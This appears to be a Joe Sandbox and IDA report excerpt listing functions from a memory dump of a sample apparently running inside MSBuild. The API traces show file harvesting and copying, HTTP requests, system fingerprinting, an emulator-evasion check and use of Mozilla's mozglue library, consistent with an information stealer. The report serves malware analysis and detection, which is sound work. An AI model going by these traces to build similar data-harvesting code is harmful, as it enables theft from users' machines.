Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: `o@
API String ID: 0-590292170
Opcode ID: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction ID: c65cc5113f4fbf7636557f8b1f026e9f2285814709fd8c8344c4410f81c0aea8
Opcode Fuzzy Hash: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction Fuzzy Hash: A66138B4900219EFCB14DF94E944BEEB7B1BB04304F1185AAE40A77380D739AEA4DF95

Function 00414BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414BEA
lstrcatA.KERNEL32(?,01405908), ref: 00414C08

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,01404D78,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

Part of subcall function 00414910: wsprintfA.USER32 ref: 00414A07

Strings

UaA, xrefs: 00414C2F, 00414C64, 00414C9A, 00414CCF, 00414D05, 00414D3A, 00414D5F, 00414C32, 00414C67, 00414C9D, 00414CD2, 00414D08, 00414D3D

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: UaA
API String ID: 2104210347-3893042857
Opcode ID: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction ID: 5a37e5a53a2562059c730f6b0b3ae842953eee94398a2728108a858f2c1bafc2
Opcode Fuzzy Hash: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction Fuzzy Hash: 9341C5BA6001047BD754FBB0EC42EEE337DA785700F40851DB54A96186EE795BC88BA6

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,01404DA8), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,01406470,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 0041521A
ERROR, xrefs: 00415273

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 00415050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0041508A
lstrcatA.KERNEL32(?,014060F8), ref: 004150A8

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Strings

aA, xrefs: 004150CF, 004150F4, 004150D2

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: aA
API String ID: 2699682494-2567749500
Opcode ID: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction ID: 27646669aa04729862e240b26620d37997e147c17b59a732ce93ef494e7ce50b
Opcode Fuzzy Hash: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction Fuzzy Hash: B801D6BAA4020877C714FBB0DC42EEE333CAB55304F00415DB68A570D1EE789AC88BA6

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 6BCA3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6BCA3095

Part of subcall function 6BCA35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6BD2F688,00001000), ref: 6BCA35D5
Part of subcall function 6BCA35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6BCA35E0
Part of subcall function 6BCA35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6BCA35FD
Part of subcall function 6BCA35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6BCA363F
Part of subcall function 6BCA35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6BCA369F
Part of subcall function 6BCA35A0: __aulldiv.LIBCMT ref: 6BCA36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BCA309F

Part of subcall function 6BCC5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5B85
Part of subcall function 6BCC5B50: EnterCriticalSection.KERNEL32(6BD2F688,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5B90
Part of subcall function 6BCC5B50: LeaveCriticalSection.KERNEL32(6BD2F688,?,?,?,6BCC56EE,?,00000001), ref: 6BCC5BD8
Part of subcall function 6BCC5B50: GetTickCount64.KERNEL32 ref: 6BCC5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6BCA30BE

Part of subcall function 6BCA30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6BCA3127
Part of subcall function 6BCA30F0: __aulldiv.LIBCMT ref: 6BCA3140

Part of subcall function 6BCDAB2A: __onexit.LIBCMT ref: 6BCDAB30

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 139c38d1499aa9bf92c4a0a09681061c5aa27de23e693a8d9eb167b424f2dd05
Instruction ID: 9c36fcefc700a33a3169d4bedf6fb7abde7edaca2510d6f9d782463ec4540ac1
Opcode Fuzzy Hash: 139c38d1499aa9bf92c4a0a09681061c5aa27de23e693a8d9eb167b424f2dd05
Instruction Fuzzy Hash: 1BF0F932C307C897DA20DF3489526A6F360EFAB215F501B2BEA446B011FF30A2D48382

Function 00419470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
CloseHandle.KERNEL32(00000000), ref: 004194AF

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction ID: 2eda5d4ec063f04fe8048fb8b0a850fc323e1bbd58c3ab932ea79d0f281d5f74
Opcode Fuzzy Hash: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction Fuzzy Hash: BEF03A7994020CFBDB15DFA4DC4AFEA7778EB08310F004498BA1997290D6B4AE85CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 00411A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00417500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
Part of subcall function 00417500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
Part of subcall function 00417500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
Part of subcall function 00417500: HeapAlloc.KERNEL32(00000000), ref: 0041760A

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 004176AB

Part of subcall function 004177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,014059C8,00000000,?), ref: 004177F2
Part of subcall function 004177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,014059C8,00000000,?), ref: 004177F9

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
Part of subcall function 00417980: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
Part of subcall function 00417980: GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
Part of subcall function 00417980: wsprintfA.USER32 ref: 004179F3

Part of subcall function 00417A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01405EA0,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
Part of subcall function 00417A30: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01405EA0,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
Part of subcall function 00417A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01405EA0,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D

Part of subcall function 00417B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,01405EA0,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417B35

Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
Part of subcall function 00417B90: LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
Part of subcall function 00417B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
Part of subcall function 00417B90: LocalFree.KERNEL32(00000000), ref: 00417D22

Part of subcall function 00417D80: GetSystemPowerStatus.KERNEL32(?), ref: 00417DAD

GetCurrentProcessId.KERNEL32(00000000,?,01405A28,00000000,?,00420E24,00000000,?,00000000,00000000,?,01405F18,00000000,?,00420E20,00000000), ref: 0041207E

Part of subcall function 00419470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
Part of subcall function 00419470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
Part of subcall function 00419470: CloseHandle.KERNEL32(00000000), ref: 004194AF

Part of subcall function 00417E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
Part of subcall function 00417E00: HeapAlloc.KERNEL32(00000000), ref: 00417E3E
Part of subcall function 00417E00: RegOpenKeyExA.KERNEL32(80000002,014011E8,00000000,00020119,?), ref: 00417E5E
Part of subcall function 00417E00: RegQueryValueExA.KERNEL32(?,01405A88,00000000,00000000,000000FF,000000FF), ref: 00417E7F
Part of subcall function 00417E00: RegCloseKey.ADVAPI32(?), ref: 00417E92

Part of subcall function 00417F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417FC9
Part of subcall function 00417F60: GetLastError.KERNEL32 ref: 00417FD8

Part of subcall function 00417ED0: GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
Part of subcall function 00417ED0: wsprintfA.USER32 ref: 00417F16

Part of subcall function 00418100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01405F48,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
Part of subcall function 00418100: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01405F48,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
Part of subcall function 00418100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418172
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418180
Part of subcall function 00418100: wsprintfA.USER32 ref: 004181AC

